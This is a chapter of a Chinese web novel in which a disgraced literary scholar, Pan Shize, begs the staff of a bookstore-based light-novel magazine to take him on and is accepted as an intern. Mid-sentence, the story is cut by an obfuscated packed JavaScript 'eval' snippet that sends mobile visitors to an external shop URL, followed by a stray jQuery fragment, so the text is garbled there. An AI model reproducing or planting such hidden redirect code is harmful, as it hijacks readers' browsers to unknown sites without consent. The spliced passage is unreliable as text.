潘世泽出现在“猫爪”旧书店门口时，是一个下着冻雨的冬日傍晚。
他穿着一件洗得发白的驼色大衣，领口磨出了毛边，手里拎着一个廉价的尼龙公文包。金丝眼镜不见了，取而代之的是一副塑料框的平价眼镜，镜片上蒙着一层雾气。他的头发失去了以往那种精心打理的光泽，凌乱地垂在额前，下巴上冒着青色的胡茬，整个人像是被抽掉了脊梁骨，缩在书店门口的屋檐下，像一只被淋湿的丧家犬。
洛简一推开门准备打烊时，差点没认出他。
“……潘老师？”
潘世泽抬起头，眼神躲闪，嘴唇哆嗦着，不知是冻的还是紧张的：“洛、洛老师。”
这个称呼让洛简一浑身不自在。三个月前，这个人还居高临下地称她为“写轻小说的三流作家”。
“你来这里做什么？”洛简一的声音冷了下来，手扶着门框，没有让他进去的意思。
冻雨顺着屋檐滴落，砸在潘世泽的肩膀上。他从公文包里掏出一份手稿，纸张被雨水打湿了一角，墨迹晕染开来，像是一滴泪。
“我……我想投稿。”
“投稿？”
“投给‘真实笔触联盟’，”潘世泽的声音低得几乎听不见，“你们那个……网络文学杂志。我想……写轻小说。”
洛简一愣住了。
身后的脚步声传来，安桢端着一杯热茶，看到门口的人，眉头立刻皱了起来：“谁啊——”他认出了潘世泽，茶杯重重搁在进门的柜台上，“你来干什么？”
“让他进来吧。”黑猫的声音突然从深处传来。
黑猫坐在她那堆书中间，手里夹着一支女士薄荷细烟，眼神像猫看老鼠一样打量着潘世泽。
“潘家的现役文学掌门人，居然会来我们这种‘浅薄低俗’的地方？”黑猫的语气里满是讽刺。
潘世泽没有反驳。他走进书店，暖气带来的冷暖气流交战令他不由自主打了个寒颤。他站在屋子中央，环视着这个堆满旧书、电线乱缠、墙上贴着“每天一千字”手写标语的狭小空间，眼神复杂。
“我……我被潘家除名了，”她低声说，“父亲说我‘玷污了家族名誉’。妻子带着孩子回了娘家。出版社终止了所有合同。大学……大学也解除了我的客座教授职务。”
他苦笑了一下，那笑容比哭还难看。
“我现在……什么都没有了。除了这个。”
他举起那份湿透的手稿。
“这是我这三个月来写的。不是代笔，不是模仿，是我……我自己写的。一个关于……关于一个被家族抛弃的人，笨拙地学习给自己做饭的故事。”
洛简一接过手稿。标题是《独居者食谱》，字迹有些潦草，但能看出每一笔都很用力。她随手翻到中间一页：
“今天尝试了煎蛋。油放多了，蛋糊了。但我没有倒掉，而是吃完了。因为这是我自己做的。很难吃，但那是我的味道。”
洛简一抬起头，看着眼前这个曾经不可一世的男人。他的眼镜片后面，眼睛红肿，布满血丝，但眼神里有一种她从未见过的东西——脆弱，以及某种近乎卑微的渴望。
“为什么来找我们？”洛简一问，“你完全可以去别的纯文学杂志。瘦死的骆驼比马大，总有人卖潘家面子。”
“因为……”潘世泽咬了咬嘴唇，“因为我看了你们在记者会上的发言。你说……‘文学属于每一个愿意诚实面对自己的人’。我……我想试试。诚实地面对自己。”
他深深地鞠了一躬，额头几乎碰到膝盖。
“请教我。请教我怎么写……有灵魂的文字。我什么都能做，打杂、校对、煮咖啡……只求你们给我一个机会。”
书店里安静得只剩下冻雨哗啦啦砸向屋檐的声响。
洛简一看向安桢，安桢别过脸去。黑猫吐出一口烟，李明庭从电脑后面探出头，表情警惕。田静凡站在书架后面，指节紧握到发青
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17843165|211683||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
——她是最有资格拒绝潘世泽的人。
“让她留下，”黑猫突然说。
“黑猫姐！？”李明庭瞪大眼睛。
“但不是作为成员，”黑猫盯着潘世泽，“作为实习生。没有署名权，没有决策权，没有单独接触我们任何核心资料的机会。每天写一千字，交给我们检查。三个月后，如果洛简一说你合格，你就留下。不合格，就滚。”
潘世泽猛地抬头，眼里闪过一丝光：“真、真的？”
“别误会，”黑猫冷冷地说，“我不是原谅你。我只是想看看，一个被扒光了皮的学阀，还能不能长出人心。”
潘世泽再次鞠躬，这次他的肩膀都在簌簌发抖：“……谢谢。谢谢。”
洛简一看着手里的稿纸，又看着眼前这个不停鞠躬的男人，心里涌起一种说不清的感觉。不是同情，也不是胜利的喜悦，而是一种……不安。
就像看到一只受伤的狼走进羊圈，即使它收起了爪子，你依然能闻到它身上残留的血腥气。
---------------------------------------------------------
潘世泽的表现，出乎所有人的意料。
他真的在认真学。
第一天，洛简一出题，让他写“一个让你印象深刻的童年场景”。潘世泽交上来的稿子充满了纯文学式的晦涩比喻——“时光流淌的褶皱里藏着母亲浓重的背影”、“夕阳颓圮塌陷下天际，像一块腐败的橙子缓慢溶解进地底”……
“不合格。”洛简一把稿子退回去，“轻小说不需要这种比喻。读者看到‘腐败的橙子’只会觉得恶心，不会觉得感动。重写。用小学生都能看懂的话，就写你母亲为你做过的一件让你印象最深的事。”
潘世泽脸涨得通红。他大概迄今为止的人生还从没被人用“不合格”评价过。
但他咬了咬牙，低头说：“……是。”